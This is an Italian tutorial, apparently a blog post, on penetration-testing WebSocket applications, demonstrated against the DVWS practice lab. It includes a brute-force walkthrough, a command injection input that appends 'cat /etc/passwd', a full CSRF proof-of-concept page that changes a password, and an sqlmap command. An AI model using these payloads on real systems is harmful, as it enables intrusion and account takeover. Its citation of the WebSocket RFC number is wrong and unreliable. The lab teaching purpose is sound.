WebSocket Penetration Test

Tempo di lettura: 9 minuti
Data pubblicazione: November 11, 2019

Durante un Penetration Test è possibile che capiti un applicativo che, invece del classico protocollo HTTP, cambi protocollo e inizi a comunicare tramite WebSocket. Questo può capitare per vari motivi, sia per questione di efficenza, poiché è una connessione full-duplex, sia per questione di velocità, in quanto in certi casi serve una conversazione real time e quest’ultime sono particolarmente adatte.
Ma questo non implica che non possano essere affette da vulnerabilità e le richieste non debbano essere sanitizzate tanto quanto delle normali richieste HTTP. Nel seguente articolo andremo ad analizzare le possibili vulnerabilità inerenti al protocollo Websocket.

Funzionamento

Citando Wikipedia, WebSocket è un protocollo di comunicazione per computer, che fornisce canali di comunicazione full-duplex su una singola connessione TCP. Sia HTTP che WebSocket si trovano al livello 7 del modello OSI e funzionano entrambi sulla porta 80 e 443.

Il protocollo WebSocket consente l’interazione tra un browser web (o altra applicazione client) e un server web con un overhead inferiore rispetto ad alternative half-duplex come il polling HTTP, facilitando il trasferimento dati in tempo reale da e verso il server.
Quando una richiesta HTTP necessità di passare al protocollo WebSocket, il server risponde con il codice 101 (Switching Protocols) ed inizia ad effettuare la conversazione con il nuovo protocollo.

Risposta 101 Switching Protocols
Risposta 101 Switching Protocols
Conversazione client-server con WebSocket
Conversazione client-server con WebSocket

Oltre all’Header Upgrade, il client invia un Header Sec-WebSocket-Key contenente byte randomici codificati in base64 e il server risponde con un hash della chiave nell’intestazione Sec-WebSocket-Accept. In questo modo viene impedito alla di inviare nuovamente una precedente conversazione WebSocket, ma non fornisce alcuna autenticazione, privacy o integrità.

La funzione di hashing aggiunge poi la stringa fissa 258EAFA5-E914-47DA-95CA-C5AB0DC85B11 (un GUID) al valore dell’intestazione Sec-WebSocket-Key (che non è decodificato da base64), applica la funzione di hashing SHA-1 e codifica il risultato usando base64 (fonte Wikipedia ).

Per chi volesse approfondire il protocollo consiglio l'RFC 7977.

Vulnerabilità

Nella pagina OWASP sono elencate diverse vulnerabilità a cui può essere soggetta una conversazione WebSocket, vediamone alcune.

Confidenzialità e integrità

Poiché il protocollo permette una conversazione sia sulla porta 80 (tramite ws://) sia sulla 443 (tramite wss://), è indubbio che se fossimo nel primo caso tutte le conversazioni potrebbero essere sniffate in chiaro, permettendo ad un attaccante esterno di visualizzare qualsiasi dato sensibile passante per esse e di effettuare un attacco MITM.

Origin

Nella richiesta di “Switching Protocol” è presente anche l’Header Origin. Se il server non validasse quest’ultimo, potrebbe di conseguenza accettare connessioni da ogni Origine e sfociare in attacchi CSRF, con conseguenze decisamente critiche.

Sanitizzazione

Sebbene sia un protocollo diverso da HTTP, WebSocket presenta alla fin fine molte vulnerabilità simili, in quanto esegue una comunicazione client-server ed interagisce con lo stesso, anche se in maniera diversa. Di seguito una lista non esaustiva, con alcuni passi specifici per poter fuzzare le richieste.

Per fare gli esempi utilizzerò DVWS, che consiglio caldamente nel caso vogliate imparare tramite un laboratorio.

Una volta inizializzato il server di DVWS (ho utilizzato lo stack XAMPP, nel caso vogliate replicare), ci troveremo davanti a diverse pagine, ciascuna contenente una vulnerabilità specifica.

Home page di DVWS
Home page di DVWS

Per visualizzare il traffico WebSocket, ci sono due modalità:

  • tramite la console del browser (schiacciando F12) ma non si potrà intercettare il messaggio, solo visualizzarlo;
  • con un Proxy, come Burp e ZAP.

Per questi esempi utilizzerò quest’ultimo poiché non ho trovato un fuzzer disponibile per Burp, mentre sembra che ZAP intercetti e fuzzi WebSocket in maniera egregia.

Messaggi scambiati tra client e server
Messaggi scambiati tra client e server
Messaggi intercettati con ZAP Proxy
Messaggi intercettati con ZAP Proxy

Il canale (#1) si riferisce ad ogni sessione WebSocket aperta, mentre le richieste sono numerate dopo il punto (.142,.143, etc.)

Bruteforce

In questo primo esempio, vediamo un interfaccia di login. Analizzando la richiesta, si può notare che le credenziali vengono encodate in base64 e successivamente inviate al server. Poiché ZAP permette di fuzzare le richieste, possiamo effettuare un attacco bruteforce al server.

Per farlo, basta inviare la richiesta al Repeater (testo destro su di essa -> “Open/Resend with Message Editor”), e nel Message Editor basterà selezionare la stringa da fuzzare, aggiungere il payload e definire il processor, in modo che ogni payload verrà poi codificato in base64.

Impostazioni Fuzzer
Impostazioni Fuzzer

Visto che l’applicativo è avviato direttamente sul mio computer, ho diminuito la velocità del fuzzer per fare in modo che richiesta e risposta si vedessero in maniera sequenziale nei log.

Attacco di Bruteforce eseguito con successo
Attacco di Bruteforce eseguito con successo

Command Injection

Visto che le modalità di intercettazione/fuzzing ora dovrebbero essere chiare, vediamo la seconda vulnerabilità. Ora l’applicazione ci permesse di effettuare un comando ping direttamente dal browser, ma come ben sappiamo, nel caso in cui l’applicativo non sanitizzi l’input dell’utente ci potrebbe essere la possibilità di eseguire comandi sul server. Provo quindi ad inserire ‘127.0.0.1;cat /etc/passwd’

File /etc/password
File /etc/password

Cross Site Request Forgery

Nell’applicazione possiamo vedere che manca un token anti-csrf nella risposta e che non controlla l’origin quando il server fa l’Upgrade del protocollo.

Risposta del server al cambio password
Risposta del server al cambio password

La scrittura di una PoC è molto simile ad una normale PoC nel protocollo HTTP. Per fare più veloce, prenderò il codice da una normale richiesta websocket, dal sito WebSocket.org e modificherò le parti che mi interessano

<code> <title>WebSocket Test</title>
 <script language="javascript" type="text/javascript">

  var wsUri = "ws://dvws.local:8080/change-password";  #URL DVWS
  var output;

  function init()
  {
    output = document.getElementById("output");
    testWebSocket();
  }

  function testWebSocket()
  {
    websocket = new WebSocket(wsUri);
    websocket.onopen = function(evt) { onOpen(evt) };
    websocket.onclose = function(evt) { onClose(evt) };
    websocket.onmessage = function(evt) { onMessage(evt) };
    websocket.onerror = function(evt) { onError(evt) };
  }

  function onOpen(evt)
  {
    writeToScreen("CONNECTED");
    doSend("{\"npass\":\"nuovapassword\",\"cpass\":\"nuovapassword\"}");   #PAYLOAD per il cambio della password
  }

  function onClose(evt)
  {
    writeToScreen("DISCONNECTED");
  }

  function onMessage(evt)
  {
    writeToScreen('<span style="color: blue;">RESPONSE: ' + evt.data+'</span>');
    websocket.close();
  }

  function onError(evt)
  {
    writeToScreen('<span style="color: red;">ERROR:</span> ' + evt.data);
  }

  function doSend(message)
  {
    writeToScreen("SENT: " + message);
    websocket.send(message);
  }

  function writeToScreen(message)
  {
    var pre = document.createElement("p");
    pre.style.wordWrap = "break-word";
    pre.innerHTML = message;
    output.appendChild(pre);
  }

  window.addEventListener("load", init, false);

  </script>

  <h2>WebSocket Test</h2>

  <div id="output"></div></code>

Una volta modificato, lo apro con un normale browser e come si può notare dai log, la richiesta avviene senza nessun controllo server side.

Connessione WebSocket stabilita da un'altra fonte rispetto a quella originale
Connessione WebSocket stabilita da un'altra fonte rispetto a quella originale

SQL Injection

Anche in questo caso, se il server non sanitizza l’input dell’utente, e quest’ultimo, nel caso integisca con il Database, potrebbe esser vulnerabile ad una SQL Injection. Inserendo un solo apice nella password, osserviamo che il server risponde con un errore SQL.

Errore SQL
Errore SQL

Vista la semplicità della vulnerabilità RCE, suppongo che anche questa sia molto semplice. Senza testare manualmente, provo con sqlmap (che con mio grande stupore supporta il protocollo ws!). Il comando lanciato è il seguente

<code>sqlmap --url "ws://dvws.local:8080/authenticate-user" --data='{"auth_user":"YWRtaW4=","auth_pass":"1*"}' --tamper base64encode</code>

dove in:

  • data: inserisco i parametri della richiesta con l’asterisco dove voglio che fuzzino
  • tamper: in modo che encodi in bas64 il payload e poi lo invii al server.

Dopo pochi secondi sqlmap identifica la vulnerabilità e stampa il tipo di database.

SQLMap è riuscito a trovare il tipo di Database
SQLMap è riuscito a trovare il tipo di Database

Conclusioni

Come avrete visto, se durante un Penetration Test vi capitano sotto mano delle web socket, i controlli da effettuare sono molto simili al protocollo HTTP. Nel caso non siate ancora sicuri sul testing, l’applicativo Damn Vulnerable Web Socket contiene altre sfide da portare a termine, che consiglio vivamente.

Alcune fonti che ho trovato utili durante lo studio del protocollo sono: